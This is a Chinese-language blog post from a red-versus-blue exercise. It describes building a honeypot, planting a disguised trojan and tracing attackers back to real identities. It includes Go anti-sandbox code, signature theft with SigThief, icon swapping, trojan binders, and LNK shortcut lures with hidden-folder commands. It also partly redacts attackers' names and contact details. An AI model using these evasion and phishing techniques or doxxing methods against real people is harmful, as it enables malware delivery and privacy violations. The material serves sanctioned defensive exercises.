前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >溯源反制-自搭建蜜罐到反制攻击队

溯源反制-自搭建蜜罐到反制攻击队

作者头像
hyyrent
发布2023-10-17 15:47:24
4010
发布2023-10-17 15:47:24
举报
文章被收录于专栏:安全学习记录安全学习记录

溯源反制-自搭建蜜罐到反制攻击队

前言

本篇文章结合最近的ps比赛和之前的案例总结了一些作为蓝队的经验,希望能对蓝队溯源得分有所帮助,如果还有其他奇招妙法欢迎师傅们多多交流

溯源反制一直是老生常谈的话题,是红蓝双方的对抗博弈,即便是专业的红队也会有犯错的时刻,大致总结为下面这些原因:

  • 比赛提供的机器太过于卡顿,使用虚拟机操作影响效率,心情浮躁直接真机操作
  • 红队操作习惯不好,未使用干净的虚拟机操作,机器上存有可溯源身份的文件或信息
  • ”淹死的大多是会游泳的人“,因为有经验所以轻敌,抱有自己不会犯错的心理
  • 对蜜罐判别不准确,未使用无痕模式或者识别蜜罐插件,甚至把蜜罐当作成果分享给队友

反制的大致流程

image-20230725200645118
image-20230725200645118

蜜罐部署

部署一个高仿真的虚拟环境,这里有一些事项需要注意的

  • 部署的蜜罐需提前向裁判报备,避免后续扯皮,且蜜罐需单独隔离,防止横向扩散
  • 蜜罐不能太假,如多端口开启不同的web服务,系统要给攻击人员一种是靠自己努力获取成果的假象

如果直接使用xx厂商的云蜜罐,特征十分明显,还很容易在测绘平台上打上蜜罐标签,并且常规反制功能很鸡肋,触发条件很苛刻

image-20230726113316371
image-20230726113316371

这次直接使用之前用来漏洞调试的致远OA环境,考虑到攻击队有学生队,保留一个存在nday的漏洞环境,让其能直接工具一键化getshell进行后渗透利用

镜像导入云服务器需要到下面这个地址下载驱动进行安装,再导出镜像,不然在云服务器会导入失败

https://cloud.tencent.com/document/product/213/17815

image-20230726112024147
image-20230726112024147

搭建成功后把域名解析到IP上,域名命名最好以 democrm常见字典内字符为主,确保能被子域名扫描器识别到

image-20230801150910986
image-20230801150910986

另外可以通过waf自定义重定向页面至蜜罐地址,加快fofa、hunter等测绘平台的收录速度

image-20230801151538336
image-20230801151538336
image-20230801151438865
image-20230801151438865

蜜罐部署好了,接下来就是木马的投放选择,文件内容可以选择密码本、内部VPN程序、公司通讯录等吸引攻击者的东西

这次我选择的是伪装内部vpn程序,并配合文档指导增加可信度和点击率

image-20230803162751068
image-20230803162751068

由于攻击队点击蜜罐充满随机性,为了能及时反制可设置上线提醒,具体参考 https://xz.aliyun.com/t/10698

接下来就可以静候佳音,等待攻击者上钩,主打的就是一手姜太公钓鱼

溯源反制

常规溯源

溯源得分规则需要交叉举证、同时举证攻击者具备网络安全攻击能力,可从态势感知或防火墙上收集攻击者IP

image-20230804114002608
image-20230804114002608

对IP去重后进行指纹识别,例如安全博客、扫描器等等,从这些资产中溯源可以提高效率,这里推荐使用ehole

https://github.com/EdgeSecurityTeam/EHole

image-20230804124810712
image-20230804124810712

举个例子,根据IP进行端口扫描发现到其搭建了灯塔系统

image-20230804125035741
image-20230804125035741

并通过态势感知平台发现其最近有扫描行为,很大概率是攻击队ip

image-20230804125137173
image-20230804125137173

去微步进行Ip查询,发现IP绑定了域名,国内域名需要备案实名

image-20230804125229046
image-20230804125229046

通过查询该域名whois信息,获取攻击者姓名:沈xx,qq邮箱:578xxxxxx@qq.com

image-20230804125335696
image-20230804125335696
反制攻击队成员1

案例来源于最近的ps比赛,寂静的夜晚突然响起了上线告警,正准备收拾东西下班的我顿时不困了

在反制过程中由于翻东西速度过快,可能会遗漏部分重要内容,建议边录屏边进行操作

通过机器上的录屏文件推测为现场攻击队成员,但由于视频过大不方便拷贝取证,只能另寻方法确认攻击队

image-20230726122159369
image-20230726122159369

攻击者操作习惯不错,使用的是虚拟机,在各个文件夹搜索许久并未找到个人信息相关的文件,正当一筹莫展之际突然翻到浏览器历史记录有这么一条

image-20230803163728736
image-20230803163728736

username居然是个手机号,一开始还以为只是普通的攻击成果没注意,百度一波发现是来自浙江温州的手机,明显与本次hw对应不上,猜测为攻击者本人手机

image-20230803164107367
image-20230803164107367

于是通过手机号反查个人信息,获取到了名字陈xx,就读于浙江xxxx学校,通过谷歌语法查询关键字,成功定位其任职于xx信息公司

image-20230726121558031
image-20230726121558031

通过内部通讯录二次确认攻击队队员身份,确定为在职实验室人员,这么一来所有的信息都对上了,结束收工

image-20230726120729395
image-20230726120729395

小插曲:从浏览器历史记录还获取到了灯塔系统的账密,攻击队应该感激我没有把任务删掉哈哈😀

image-20230804120913470
image-20230804120913470
反制攻击队成员2

又是一位幸运玩家不小心踩罐,从机器上的python脚本文件找到ICP备案查询的cookietoken

image-20230726115346985
image-20230726115346985

burp替换cookie后成功获取攻击者的百度ID

image-20230726115720013
image-20230726115720013

进而互联网搜索其名字的相关信息,发现还搭建了技术博客,成功定位其真实姓名 吴xx

image-20230726115226838
image-20230726115226838

并通过机器上的CISP-PTE考试信息进一步确认其身份

image-20230726120407990
image-20230726120407990
反制攻击队成员3

宁静的村庄突然收到一则微信好友申请,正在吃瓜的我知道来活了,一眼就知道是攻击队微信钓鱼,将计就计配合其表演

image-20230801153932954
image-20230801153932954

这里使用热点和虚拟机模拟个人终端环境点击攻击队的木马程序,并在桌面上放置反钓鱼木马文件xx蓝方信息表

image-20230801160823564
image-20230801160823564

这里使用的是lnk文件,制作方法可通过后面的lnk文件制作模块进行查阅,为了实现解压文件的时候不可预览内容,我们需要选择rar压缩文件进行加密

image-20230804111528572
image-20230804111528572

这样解压之后就只有一个独立的lnk文件出现,在心烦意乱的hw后期攻击队很容易放松警惕不注意,最后也是成功上线机器

image-20230801162614286
image-20230801162614286

涉及的技术手段

木马免杀

要想反制攻击队,首先离不开的就是一个免杀性持久的木马,能抗能打

厚颜无耻的我趁机来打一波广告,过国内杀软常见三剑客,添加反沙箱代码可实现微步绿色,VT10以内

菜鸡本人项目:https://github.com/Pizz33/GobypassAV-shellcode

好兄弟王超攻的项目:https://github.com/wangfly-me/SysHttpHookSleep

image-20230725194823394
image-20230725194823394
反沙箱

传统的反沙箱有很多,如检测开机时间、机器内存大小、鼠标移动点击等等,这里提供两种比较实用的,剩下师傅们可以慢慢探索

检测桌面文件数量

代码语言:javascript
复制
func desktop() {
  desktopPath, err := os.UserHomeDir()
  if err != nil {
    fmt.Println("无法获取用户桌面路径:", err)
    return
  }

  desktopFiles, err := ioutil.ReadDir(filepath.Join(desktopPath, "Desktop"))
  if err != nil {
    fmt.Println("无法读取用户桌面文件列表:", err)
    return
  }

  fileCount := len(desktopFiles)
  fmt.Println("用户桌面文件数:", fileCount)

  if fileCount < 10 {
    os.Exit(0)
  }
}

检测运行程序名是否一致

代码语言:javascript
复制
func process() {
  executablePath, err := os.Executable()
  if err != nil {
    // 处理错误
    return
  }

  sourceFilename := filepath.Base(executablePath) // 源文件名称
  processName := filepath.Base(os.Args[0])        // 当前运行进程名称

  // 比较源文件名称和进程名称是否相同
  if strings.EqualFold(sourceFilename, processName) {
    // 进程名称和源文件名称相同,正常运行
    // 在这里执行正常的操作
  } else {
    // 进程名称和源文件名称不同,可能在沙箱环境中运行
    // 在这里执行相应的防沙箱操作
    os.Exit(0) // 退出程序
  }
}
资源替换

做完免杀马,那接下来肯定需要伪装成正常的文件,图标和签名是很重要的一环,且可以一定程度规避360的qvm检测

https://github.com/secretsquirrel/SigThief

python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe

代码语言:javascript
复制
-i 为签名文件
-t 为需要伪造的文件
-o 为输出文件
image-20230410153543832
image-20230410153543832

https://www.trustasia.com/solution/sign-tools

image-20230410154213202
image-20230410154213202

图标提取

https://github.com/JarlPenguin/BeCyIconGrabberPortable

image-20230615150111453
image-20230615150111453

图标替换

Resource hacker

image-20230410153855373
image-20230410153855373
木马捆绑器

反制过程中如果攻击者运行文件之后没有任何反应,会引起对方的怀疑,这时候就需要释放准备的正常文件,降低对方的戒心

https://github.com/H4de5-7/Bundler-bypass

导入正常的文件和木马,编译生成即可

image-20230801154836473
image-20230801154836473

https://github.com/Yihsiwei/GoFileBinder

坑点:

1、命令里exe要放在释放文件前面,不能更换命令顺序,否则生成后无法正常释放

2、go的版本选择的是17,测试发现18版本会生成失败

image-20230801160657062
image-20230801160657062
lnk文件制作

钓鱼样本结构为如下,打开文件夹是一个快捷方式和一个隐藏文件夹。在隐藏文件夹存在多级目录,最后一级目录放真实木马文件

image-20230801160933394
image-20230801160933394

MACOS文件夹下为真实的木马,对文件夹设置隐藏

代码语言:javascript
复制
attrib +s +h +r C:\Users\Public\xxx.exe
attrib -s -h -r C:\Users\Public\xxx.exe
image-20230801161034778
image-20230801161034778

根目录下的快捷方式修改目标属性,相对路径指向真实的马儿

代码语言:javascript
复制
%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.exe"
C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.exe"
image-20230801161135119
image-20230801161135119
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-09-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 溯源反制-自搭建蜜罐到反制攻击队
    • 前言
      • 反制的大致流程
        • 蜜罐部署
          • 溯源反制
            • 常规溯源
            • 反制攻击队成员1
            • 反制攻击队成员2
            • 反制攻击队成员3
          • 涉及的技术手段
            • 木马免杀
            • 反沙箱
            • 资源替换
            • 木马捆绑器
            • lnk文件制作
        相关产品与服务
        ICP备案
        在中华人民共和国境内从事互联网信息服务的网站或APP主办者,应当依法履行备案手续。腾讯云为您提供高效便捷的 ICP 备案服务。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档